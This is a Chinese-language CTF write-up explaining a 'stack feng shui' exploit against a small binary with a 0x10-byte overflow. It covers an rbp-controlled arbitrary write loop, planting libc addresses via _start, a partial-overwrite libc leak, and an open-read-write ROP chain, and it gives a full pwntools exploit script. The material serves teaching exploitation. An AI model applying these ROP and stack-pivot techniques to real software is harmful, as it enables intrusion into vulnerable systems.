前言

栈风水—-> 一切非常规的布局都是栈风水,我认为实际上是对于所有栈知识的灵活组合运用。所以重在灵活变通

这道题的栈风水在于利用任意地址写,实现任意次数的任意地址写,并且在程序使用start的时候会在栈上留下libc的地址,通过修改libc的地址,爆破使得地址泄漏;不过由于爆破需要非常多的时间,所以我会关闭地址随机化,并且我的脚本不会有爆破的步骤,因为非常费时间;

题:

我们来说一下这个题吧

链接

程序非常简单:只有一个main函数,并且仅仅溢出0x10的字节,,所以仅仅够覆盖返回地址,并且程序里面并没有给出任何后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:0000000000401288 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000401288 public main
.text:0000000000401288 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401288
.text:0000000000401288 buf = byte ptr -8
.text:0000000000401288
.text:0000000000401288 ; __unwind {
.text:0000000000401288 endbr64
.text:000000000040128C push rbp
.text:000000000040128D push rbx
.text:000000000040128E mov rbp, rsp
.text:0000000000401291 sub rsp, 8
.text:0000000000401295 mov rdi, 0 ; fd
.text:000000000040129C lea rsi, [rbp+buf] ; buf
.text:00000000004012A0 mov rdx, 20h ; ' ' ; nbytes
.text:00000000004012A7 call _read
.text:00000000004012AC add rsp, 8
.text:00000000004012B0 pop rbx
.text:00000000004012B1 pop rbp
.text:00000000004012B2 retn
.text:00000000004012B2 main endp

那么我们应该是可以注意到程序收栈的结构和我们正常的leave ret不太一样,这里的效果相当于leave ret ,但是不涉及到rbp, 也就是说rbp不影响栈。那么这里就有一个有意思的东西了,

看到这部分汇编:我们会发现从read读进去的地方是由rsi控制的 ,但是rsi又是由rbp寻址找到buf控制的 ,所以我们可以通过程序最后的pop rbp来控制下一次读进去的地方,这就是任意地址写

1
2
3
4
.text:0000000000401295                 mov     rdi, 0          ; fd
.text:000000000040129C lea rsi, [rbp+buf] ; buf
.text:00000000004012A0 mov rdx, 20h ; ' ' ; nbytes
.text:00000000004012A7 call _read

而在前面我们又知道,rsp并不受rbp影响(因为正常的rsp是由mov rsp,rbp来控制的),那么我们只需要将rsp放在一个满是main的或者0x401295(read开始的地方) ,这样我们就可以无限的读到任意地址了,并且以此循环!如果rsprbp在一起会是什么样子?rsp会破坏掉我们的布置好了的数据(rsp所在的地方程序会返回,导致我们的数据被一些地址覆盖掉)

无限次数的任意地址写成立,那么接下来就需要我们去想一下,我们需要泄漏libc,而程序是没有任何有关于控制寄存器的gadget

1
2
3
4
5
6
7
8
9
10
11
❯ ROPgadget --binary ./pwn --only "pop|ret"                                                                                                                                                     3.13.1  20:36
Gadgets information
============================================================
0x000000000040115d : pop rbp ; ret
0x00000000004012b0 : pop rbx ; pop rbp ; ret
0x000000000040101a : ret
0x00000000004012a2 : ret 0x20
0x0000000000401252 : ret 0x2be
0x000000000040105a : ret 0xffff

Unique gadgets found: 6

那么接下来我们就需要考虑一下我们的_start了,这个函数相信大家都不陌生,因为这个函数是程序真正的入口,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000401090                 public _start
.text:0000000000401090 _start proc near ; DATA XREF: LOAD:00000000003FF018↑o
.text:0000000000401090 ; __unwind {
.text:0000000000401090 endbr64
.text:0000000000401094 xor ebp, ebp
.text:0000000000401096 mov r9, rdx ; rtld_fini
.text:0000000000401099 pop rsi ; argc
.text:000000000040109A mov rdx, rsp ; ubp_av
.text:000000000040109D and rsp, 0FFFFFFFFFFFFFFF0h
.text:00000000004010A1 push rax
.text:00000000004010A2 push rsp ; stack_end
.text:00000000004010A3 xor r8d, r8d ; fini
.text:00000000004010A6 xor ecx, ecx ; init
.text:00000000004010A8 mov rdi, offset main ; main
.text:00000000004010AF call cs:__libc_start_main_ptr
.text:00000000004010B5 hlt
.text:00000000004010B5 ; } // starts at 401090
.text:00000000004010B5 _start endp

可以看到调用了一个叫__libc_start_main的函数,这个函数会调用__libc_start_call_main,从而调用main函数,而在这个过程中,__libc_start_main也是需要保存返回地址的,也就是大家常见的用于收尾的函数,

而这个函数是libc的函数,所以,它的返回地址也是libc上的地址,而它会覆盖在rbp-0x10的位置,也就是返回地址。那么,是不是只需要我们去调用start就会在栈上留下libc的地址,接下来我们只需要同时得到两个libc的地址,将地址低的那个修改成libc 中的pop rdi ;ret,然后紧挨着放一个got表的地址,另一个修改成libc里面的puts,中间使用ret连接起来,那么就可以泄漏地址,

之后就很简单了,直接找个合适的位置打ORW即可

但是泄漏地址这一块,如果是在栈地址上,我们其实是不好用的,因为栈地址未知,不方便我们的风水构建,所以我们需要迁移到.bss/.data段上,但是,如果直接迁移到bss上会导致我们无法正常的返回,因为bss上没有正常的返回地址,并且bss上有一些重要的数据,比如IO结构体,因此我们需要把栈抬高

1
2
3
4
5
6
# exp_test
s(p64(0) * 2 + p64(bss1) + p64(read_to))
# bug()
s(p64(main) * 4)
s(p64(0) * 2 + p64(bss1) + p64(start))
pause()

这样测试就会发现可以正常返回

但是显然,这样的写法实质上是大量重复的工作,而且需要不断计算地址,极其不健康

所以我们可以封装成函数,方便我们随时调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def write_to_qword(addr, data, do_pause=False, restart=True):
assert len(data) <= 0x20
s(p64(0) + p64(0) + p64(addr + 8) + p64(read_to))
s(data)
if do_pause:
pause()
else:
pulse()
if restart:
io.send(p64(0) * 3 + p64(elf.sym["_start"]))

def write_data(addr, data, do_pause=False, restart=True):
for i in range(0, len(data), 0x20):
write_to_qword(addr + i, data[i : i + 0x20], do_pause, restart)

def stack_mov(rbp):
s(p64(0) * 2 + p64(rbp - 8) + p64(leave_ret))

这样就可以任意长度任意地址写了,

然后接下来我们需要稍微布置一下栈结构了(也就是所谓的风水). 首先,我们我们肯定是需要布置我们心心念念的libc的地址的,所以需要两个start,而由于main最后会弹3个qword,所以两个start的地址之间至少有4qword,也就是这样布局的

1
write_data(bss1, p64(start) + p64(0) * 5 + p64(start) + p64(0) + b"/flag")

顺便把flag字符串布置好,这样,我们只需要先迁移到第一个start,就可以留下libc的地址,再覆盖返回的 那个libc的地址为libc 中的leave;ret,栈迁移到rsp1+0x30-8,也就是第二个start,这样进行栈迁移的好处是,可以进行爆破,这样只需要爆破一次,可以减少一次性爆破的时间。然后同时会留下一个libc的地址,这两个libc的地址距离就会很近,

1
2
3
4
5
6
write_data(bss2, p64(main) * 4 * 12)
write_data(bss3, p64(main) * 4 * 30)
stack_mov(bss1)

s(p64(0) * 2 + p64(bss1 + 0x30 - 8) + p16(libc_leave_ret_low))
s(p64(0) * 2 + p64(bss2 - 8) + p16(libc_leave_ret_low))

然后,就可以就这两个libc地址布置pop rdi;retputsROP了,并且我们也需要注意这个ROP的返回,我们其实可以直接返回到rsp2,这样的话,就可以直接布置我们后面的ORW了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
write_data(bss1 - 0x108, p32(libc_pop_rdi_low)[:3], restart=False)
write_data(
bss1 - 0x100,
p64(elf.got["read"]) + p64(ret) * 4 + p32(libc_puts_lower)[:3],
restart=False,
)

write_data(
bss1 - 0x100 + 8 * 6,
p64(rbp_ret) + p64(bss3 - 8) + p64(leave_ret),
restart=False,
)

stack_mov(bss1 - 0x108)

libc_base = l64() - libc.sym["read"]
leak("libc_base", libc_base)

然后就正常的ORW,然后栈迁移即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

pop_rdi_ret = libc_base + 0x000000000010F75B
pop_rsi_ret = libc_base + 0x0000000000110A4D
pop_rdx_leave_ret = libc_base + 0x00000000000981AD

# [+] ============== ORW ============== [+]
O = flat(
{
0x0: pop_rdi_ret,
0x8: flag_path,
0x10: pop_rsi_ret,
0x18: 0,
0x20: libc_base + libc.sym["open"],
},
filler=b"",
)
R = flat(
{
0x0: pop_rdi_ret,
0x8: 3,
0x10: pop_rsi_ret,
0x18: read_to_flag,
0x20: rbp_ret,
0x28: bss4 + 0x60,
0x30: pop_rdx_leave_ret,
0x38: 0x30,
0x40: libc_base + libc.sym["read"],
},
filler=b"",
)
W = flat(
{
0x0: pop_rdi_ret,
0x8: 1,
0x10: pop_rsi_ret,
0x18: read_to_flag,
0x20: rbp_ret,
0x28: bss4 + 0xA8,
0x30: pop_rdx_leave_ret,
0x38: 0x30,
0x40: libc_base + libc.sym["write"],
}
)
orw = O + R + W
write_data(bss4, orw, restart=False)
stack_mov(bss4)

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env python3
# pyright: reportWildcardImportFromLibrary=false
from typing import Optional
from pwn import (
ELF,
p64,
p32,
u32,
u64,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
os,
gdb,
pause,
log,
sleep,
p16,
)

# 配置
context(os="linux", arch="amd64", log_level="debug")
binary = "./pwn"

# 远程/本地切换
if args.get("REMOTE"):
io = remote("127.0.0.1", 8080)
else:
io = process(binary)
context.terminal = [
os.path.expanduser("~/.local/bin/kitty-gdb"),
os.path.abspath(binary),
str(io.pid),
]
# ELF加载
elf = ELF(binary)
libc = elf.libc

# fmt: off
# [+] ========== 常用函数定义 ========== [+]
s = lambda data : io.send(data)
sa = lambda delim, data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim, data : io.sendlineafter(str(delim), data)
r = lambda num=4096 : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop=False : io.recvuntil(delims, drop)
itr = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4, b''))
uu64 = lambda data : u64(data.ljust(8, b''))
leak = lambda name, addr : log.success('{} ======== > {:#x}'.format(name, addr))
p = lambda name,data : print("{} ======== > {}".format(name,data))

# [+] ========== 常用泄露函数 ========== [+]
l64 = lambda : u64(io.recvuntil(b"")[-6:].ljust(8, b""))
l32 = lambda : u32(io.recvuntil(b"�")[-4:].ljust(4, b""))
l64_no = lambda : u64(io.recv(6).ljust(8, b''))
# fmt: on


def bug():
gdb.attach(io)
pause()


def P():
pause()


def pulsh():
sleep(0.5)


def pulse():
sleep(0.5)


# [+] ======= Some addr ============ [+]
# no ALSE
read_to = 0x401295

main = 0x401288
start = 0x401090
rdi = 0x10F75B
ret = 0x401287
leave_ret = 0x401286
libc_leave_ret_low = 0x99D2
libc_pop_rdi_low = 0xD0F75B
rbx_rbp_ret = 0x4012B0
rbp_ret = 0x4012B1
libc_puts_lower = 0xC87BE0

bss1 = 0x404800
bss2 = 0x404300
bss3 = 0x404D00
bss4 = 0x404F00
buffer = 0x404080
flag_path = bss1 + 8 * 8
read_to_flag = elf.bss() + 0x800


# ========== Exploit 开始 ==========


def write_to_qword(addr, data, do_pause=False, restart=True):
assert len(data) <= 0x20
s(p64(0) + p64(0) + p64(addr + 8) + p64(read_to))
s(data)
if do_pause:
pause()
else:
pulse()
if restart:
io.send(p64(0) * 3 + p64(elf.sym["_start"]))


def write_data(addr, data, do_pause=False, restart=True):
for i in range(0, len(data), 0x20):
write_to_qword(addr + i, data[i : i + 0x20], do_pause, restart)


def stack_mov(rbp):
s(p64(0) * 2 + p64(rbp - 8) + p64(leave_ret))


def exp():
write_data(bss1, p64(start) + p64(0) * 5 + p64(start) + p64(0) + b"/flag")
write_data(bss2, p64(main) * 4 * 12)
write_data(bss3, p64(main) * 4 * 30)
stack_mov(bss1)

s(p64(0) * 2 + p64(bss1 + 0x30 - 8) + p16(libc_leave_ret_low))
s(p64(0) * 2 + p64(bss2 - 8) + p16(libc_leave_ret_low))

write_data(bss1 - 0x108, p32(libc_pop_rdi_low)[:3], restart=False)
write_data(
bss1 - 0x100,
p64(elf.got["read"]) + p64(ret) * 4 + p32(libc_puts_lower)[:3],
restart=False,
)

write_data(
bss1 - 0x100 + 8 * 6,
p64(rbp_ret) + p64(bss3 - 8) + p64(leave_ret),
restart=False,
)

stack_mov(bss1 - 0x108)

libc_base = l64() - libc.sym["read"]
leak("libc_base", libc_base)

pop_rdi_ret = libc_base + 0x000000000010F75B
pop_rsi_ret = libc_base + 0x0000000000110A4D
pop_rdx_leave_ret = libc_base + 0x00000000000981AD

# [+] ============== ORW ============== [+]
O = flat(
{
0x0: pop_rdi_ret,
0x8: flag_path,
0x10: pop_rsi_ret,
0x18: 0,
0x20: libc_base + libc.sym["open"],
},
filler=b"",
)
R = flat(
{
0x0: pop_rdi_ret,
0x8: 3,
0x10: pop_rsi_ret,
0x18: read_to_flag,
0x20: rbp_ret,
0x28: bss4 + 0x60,
0x30: pop_rdx_leave_ret,
0x38: 0x30,
0x40: libc_base + libc.sym["read"],
},
filler=b"",
)
W = flat(
{
0x0: pop_rdi_ret,
0x8: 1,
0x10: pop_rsi_ret,
0x18: read_to_flag,
0x20: rbp_ret,
0x28: bss4 + 0xA8,
0x30: pop_rdx_leave_ret,
0x38: 0x30,
0x40: libc_base + libc.sym["write"],
}
)
orw = O + R + W
write_data(bss4, orw, restart=False)
stack_mov(bss4)
exp()
itr()

总结

栈风水我觉得也就是对栈的综合利用,学会合理的布局,找到一个漏洞,思考能不能扩大这个的影响,并且多多调试!多调试才能成长!